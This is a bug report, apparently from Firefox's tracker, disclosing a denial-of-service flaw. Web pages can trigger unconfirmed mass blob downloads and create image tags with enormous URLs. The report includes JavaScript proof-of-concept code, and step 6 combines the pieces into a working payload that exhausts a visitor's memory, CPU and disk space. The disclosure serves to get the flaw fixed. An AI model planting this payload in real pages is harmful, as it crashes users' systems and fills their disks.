Bug: DoS and hard disk space exhaustion caused by multiple defects
Status: NEW
Priority: --
Created: 2023-04-05 01:00:07+00:00
Resolved: 2024-05-30 18:07:54+00:00

# Summary
The browser does not confirm whether the user agrees to download multiple files when downloading multiple files.
Attackers can design malicious code, use blob to make files, and at the same time use loop functions to create many very long URLs to embed in web pages.
This can cause memory to run out and downloaded files to take up hard drive space. When memory and hard disk space are exhausted, users' browser and computer will crash.

# Firefox version
111.0.1 (64-bit)

# Operating system version
Windows 11 22H2

# Steps to reproduce
1. The following code will download a file with the file name PoC
```
var text = 'PoC'
var link = document.createElement("a");
var file = new Blob([text], { type: 'text/plain' });
link.href = URL.createObjectURL(file);
link.download = "PoC";
```

2. This will download 100000 files without confirmation.
```
for (i = 0; i < 100000; i++) {
   var text = 'PoC'
   var link = document.createElement("a");
   var file = new Blob([text], { type: 'text/plain' });
   link.href = URL.createObjectURL(file);
   link.download = "PoC";
}
```

3. The following code will generate a very long set of strings.
```
var text = ''
for (i = 0; i < 0xfffff; i++) {
   text += 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
}
```

4. This will generate 100000 image tags, and the URL format uses the IP address in DWORD format.
```
for (i = 0; i < 100000; i++) {
   var img = document.createElement("img");
   img.src = 'http://0x' + text
}
```

5. At this time, I checked the Process Manager of the browser and the Task Manager of Windows, and found that the memory was exhausted.

6. If the above codes are integrated and then rewritten, the CPU, memory, and hard disk space will be exhausted at the same time. Cause system crash, and because there is no hard disk space available, the system's event log will be incomplete.
```
var text = ''
for (i = 0; i < 0xfffff; i++) {
   text += 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
}

var link = document.createElement("a");
var file = new Blob([text], { type: 'text/plain' });
link.href = URL.createObjectURL(file);
link.download = "PoC";

var a = [];
for (i = 0; i < 100000; i++) {
   a.push('');
}
a.forEach(() => {
   var img = document.createElement("img");
   img.src = 'http://0x' + text
   link.click();
})
```
7. The computer will become slower and slower, and the user will not be able to interrupt this malicious activity.

8. Tested with other browsers and could not reproduce this issue.